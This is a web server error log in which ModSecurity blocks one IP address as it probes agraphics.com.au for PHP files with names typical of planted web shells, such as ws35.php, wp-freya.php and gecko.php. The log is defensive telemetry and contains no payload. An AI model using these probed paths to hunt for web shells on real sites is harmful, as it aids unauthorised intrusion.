[Mon Jan 19 21:52:40.965103 2026] [proxy_fcgi:error] [pid 45657:tid 45679] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:41.155474 2026] [proxy_fcgi:error] [pid 45657:tid 45669] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:41.345739 2026] [proxy_fcgi:error] [pid 45657:tid 45674] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:41.535898 2026] [proxy_fcgi:error] [pid 45657:tid 45659] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:41.726587 2026] [proxy_fcgi:error] [pid 45657:tid 45668] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:41.915427 2026] [:error] [pid 45657:tid 45680] [client 132.196.60.193:18038] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aW43KQ4XFYp2OcwCx-CbgwAAANU"]
[Mon Jan 19 21:52:42.357290 2026] [:error] [pid 45657:tid 45662] [client 132.196.60.193:20464] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aW43Kg4XFYp2OcwCx-CbhgAAAMM"]
[Mon Jan 19 21:52:42.801349 2026] [:error] [pid 45657:tid 45664] [client 132.196.60.193:20383] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aW43Kg4XFYp2OcwCx-CbhwAAAMU"]
[Mon Jan 19 21:52:43.380037 2026] [:error] [pid 45561:tid 45566] [client 132.196.60.193:18003] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aW43K64ONSZn4nkTayJyaAAAAAA"]
[Mon Jan 19 21:52:43.985461 2026] [:error] [pid 47089:tid 47112] [client 132.196.60.193:17984] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws35.php"] [unique_id "aW43KxlIzijVNfdIsZ4IhwAAARU"]
[Mon Jan 19 21:52:44.661801 2026] [:error] [pid 47089:tid 47091] [client 132.196.60.193:20360] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws35.php"] [unique_id "aW43LBlIzijVNfdIsZ4IiwAAAQA"]
[Mon Jan 19 21:52:45.105333 2026] [:error] [pid 45561:tid 45578] [client 132.196.60.193:17996] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws35.php"] [unique_id "aW43La4ONSZn4nkTayJyagAAAAw"]
[Mon Jan 19 21:52:45.653445 2026] [:error] [pid 45563:tid 45640] [client 132.196.60.193:18017] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws35.php"] [unique_id "aW43LZI4--OKA-Pqumy8PQAAAJM"]
[Mon Jan 19 21:52:46.146081 2026] [:error] [pid 45561:tid 45581] [client 132.196.60.193:20420] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aW43Lq4ONSZn4nkTayJyawAAAA8"]
[Mon Jan 19 21:52:46.767493 2026] [:error] [pid 45657:tid 45667] [client 132.196.60.193:20405] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aW43Lg4XFYp2OcwCx-CbkQAAAMg"]
[Mon Jan 19 21:52:47.511895 2026] [:error] [pid 47089:tid 47102] [client 132.196.60.193:18383] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aW43LxlIzijVNfdIsZ4IjgAAAQs"]
[Mon Jan 19 21:52:47.937633 2026] [:error] [pid 45561:tid 45575] [client 132.196.60.193:20407] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aW43L64ONSZn4nkTayJybgAAAAk"]
[Mon Jan 19 21:52:48.379837 2026] [:error] [pid 36216:tid 36235] [client 132.196.60.193:18410] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW43MMIpfKKs9fzB-yCyXQAAAVE"]
[Mon Jan 19 21:52:48.840102 2026] [:error] [pid 36216:tid 36221] [client 132.196.60.193:20471] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW43MMIpfKKs9fzB-yCyXgAAAUM"]
[Mon Jan 19 21:52:49.290135 2026] [:error] [pid 45562:tid 45616] [client 132.196.60.193:18034] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW43MToUil_kwpvtDW7qOAAAAFY"]
[Mon Jan 19 21:52:49.676199 2026] [:error] [pid 36216:tid 36219] [client 132.196.60.193:18370] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW43McIpfKKs9fzB-yCyYAAAAUE"]
[Mon Jan 19 21:52:50.083408 2026] [:error] [pid 45561:tid 45571] [client 132.196.60.193:18041] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aW43Mq4ONSZn4nkTayJycAAAAAU"]
[Mon Jan 19 21:52:50.609262 2026] [:error] [pid 45563:tid 45641] [client 132.196.60.193:18392] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aW43MpI4--OKA-Pqumy8SAAAAJQ"]
[Mon Jan 19 21:52:51.082982 2026] [:error] [pid 36216:tid 36242] [client 132.196.60.193:18387] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aW43M8IpfKKs9fzB-yCyYgAAAVg"]
[Mon Jan 19 21:52:51.630360 2026] [:error] [pid 36216:tid 36230] [client 132.196.60.193:20385] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aW43M8IpfKKs9fzB-yCyZwAAAUw"]
[Mon Jan 19 21:52:52.106459 2026] [:error] [pid 36216:tid 36234] [client 132.196.60.193:20428] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW43NMIpfKKs9fzB-yCyaAAAAVA"]
[Mon Jan 19 21:52:52.508197 2026] [:error] [pid 45562:tid 45614] [client 132.196.60.193:18427] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW43NDoUil_kwpvtDW7qOwAAAFQ"]
[Mon Jan 19 21:52:52.943949 2026] [:error] [pid 47089:tid 47099] [client 132.196.60.193:18025] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW43NBlIzijVNfdIsZ4IkgAAAQg"]
[Mon Jan 19 21:52:53.455373 2026] [:error] [pid 45563:tid 45627] [client 132.196.60.193:20403] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW43NZI4--OKA-Pqumy8SgAAAIY"]
[Mon Jan 19 21:52:53.836770 2026] [:error] [pid 45657:tid 45679] [client 132.196.60.193:18375] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aW43NQ4XFYp2OcwCx-CbmAAAANQ"]
[Mon Jan 19 21:52:54.242029 2026] [:error] [pid 45657:tid 45683] [client 132.196.60.193:18382] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aW43Ng4XFYp2OcwCx-CbmQAAANg"]
[Mon Jan 19 21:52:54.690948 2026] [:error] [pid 45561:tid 45588] [client 132.196.60.193:18372] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aW43Nq4ONSZn4nkTayJydQAAABY"]
[Mon Jan 19 21:52:55.115862 2026] [:error] [pid 45561:tid 45581] [client 132.196.60.193:20454] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aW43N64ONSZn4nkTayJyeQAAAA8"]
[Mon Jan 19 21:52:55.658500 2026] [:error] [pid 36216:tid 36218] [client 132.196.60.193:18305] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aW43N8IpfKKs9fzB-yCybQAAAUA"]
[Mon Jan 19 21:52:56.085962 2026] [:error] [pid 36216:tid 36222] [client 132.196.60.193:18378] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aW43OMIpfKKs9fzB-yCybgAAAUQ"]
[Mon Jan 19 21:52:56.541069 2026] [:error] [pid 45563:tid 45628] [client 132.196.60.193:18313] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aW43OJI4--OKA-Pqumy8TQAAAIc"]
[Mon Jan 19 21:52:56.990187 2026] [:error] [pid 45657:tid 45669] [client 132.196.60.193:18021] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aW43OA4XFYp2OcwCx-CbpQAAAMo"]
[Mon Jan 19 21:52:57.453801 2026] [:error] [pid 36216:tid 36235] [client 132.196.60.193:18394] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aW43OcIpfKKs9fzB-yCycAAAAVE"]
[Mon Jan 19 21:52:57.997736 2026] [:error] [pid 47089:tid 47096] [client 132.196.60.193:20398] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aW43ORlIzijVNfdIsZ4ImgAAAQU"]
[Mon Jan 19 21:52:58.376903 2026] [:error] [pid 45561:tid 45586] [client 132.196.60.193:18013] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aW43Oq4ONSZn4nkTayJyewAAABQ"]
[Mon Jan 19 21:52:58.810353 2026] [:error] [pid 45657:tid 45664] [client 132.196.60.193:18384] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aW43Og4XFYp2OcwCx-CbqAAAAMU"]
[Mon Jan 19 21:52:59.237445 2026] [:error] [pid 36216:tid 36230] [client 132.196.60.193:18369] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aW43O8IpfKKs9fzB-yCydQAAAUw"]
[Mon Jan 19 21:52:59.731483 2026] [:error] [pid 45657:tid 45678] [client 132.196.60.193:18376] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aW43Ow4XFYp2OcwCx-CbqgAAANM"]
[Mon Jan 19 21:53:00.145594 2026] [:error] [pid 45657:tid 45663] [client 132.196.60.193:18412] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aW43PA4XFYp2OcwCx-CbqwAAAMQ"]
[Mon Jan 19 21:53:00.540986 2026] [:error] [pid 45563:tid 45622] [client 132.196.60.193:20442] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aW43PJI4--OKA-Pqumy8UwAAAIE"]
[Mon Jan 19 21:53:01.003458 2026] [:error] [pid 36216:tid 36239] [client 132.196.60.193:18395] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws29.php"] [unique_id "aW43PcIpfKKs9fzB-yCyeQAAAVU"]
[Mon Jan 19 21:53:01.451311 2026] [:error] [pid 47089:tid 47113] [client 132.196.60.193:18414] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws29.php"] [unique_id "aW43PRlIzijVNfdIsZ4IngAAARY"]
[Mon Jan 19 21:53:01.839792 2026] [:error] [pid 36216:tid 36238] [client 132.196.60.193:20461] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws29.php"] [unique_id "aW43PcIpfKKs9fzB-yCyfAAAAVQ"]
[Mon Jan 19 21:53:02.238543 2026] [:error] [pid 36216:tid 36219] [client 132.196.60.193:18008] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws29.php"] [unique_id "aW43PsIpfKKs9fzB-yCyfQAAAUE"]
[Mon Jan 19 21:53:02.710160 2026] [:error] [pid 45657:tid 45681] [client 132.196.60.193:20423] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aW43Pg4XFYp2OcwCx-CbrQAAANY"]
[Mon Jan 19 21:53:03.204487 2026] [:error] [pid 45657:tid 45677] [client 132.196.60.193:18380] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aW43Pw4XFYp2OcwCx-CbrwAAANI"]
[Mon Jan 19 21:53:03.745840 2026] [:error] [pid 45563:tid 45634] [client 132.196.60.193:18323] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aW43P5I4--OKA-Pqumy8VgAAAI0"]
[Mon Jan 19 21:53:04.279262 2026] [:error] [pid 36216:tid 36241] [client 132.196.60.193:18377] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aW43QMIpfKKs9fzB-yCyhQAAAVc"]
[Mon Jan 19 21:53:04.802009 2026] [:error] [pid 36216:tid 36231] [client 132.196.60.193:18409] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws46.php"] [unique_id "aW43QMIpfKKs9fzB-yCyhwAAAU0"]
[Mon Jan 19 21:53:05.388296 2026] [:error] [pid 45563:tid 45630] [client 132.196.60.193:20397] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws46.php"] [unique_id "aW43QZI4--OKA-Pqumy8WAAAAIk"]
[Mon Jan 19 21:53:05.957360 2026] [:error] [pid 45563:tid 45624] [client 132.196.60.193:20413] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws46.php"] [unique_id "aW43QZI4--OKA-Pqumy8WQAAAIM"]
[Mon Jan 19 21:53:06.518712 2026] [:error] [pid 36216:tid 36225] [client 132.196.60.193:18319] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws46.php"] [unique_id "aW43QsIpfKKs9fzB-yCyigAAAUc"]
[Mon Jan 19 21:53:06.940993 2026] [:error] [pid 47089:tid 47097] [client 132.196.60.193:20477] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "aW43QhlIzijVNfdIsZ4IogAAAQY"]
[Mon Jan 19 21:53:07.507384 2026] [:error] [pid 45561:tid 45587] [client 132.196.60.193:20387] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "aW43Q64ONSZn4nkTayJygAAAABU"]
[Mon Jan 19 21:53:08.481698 2026] [:error] [pid 45563:tid 45638] [client 132.196.60.193:18381] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "aW43RJI4--OKA-Pqumy8XgAAAJE"]
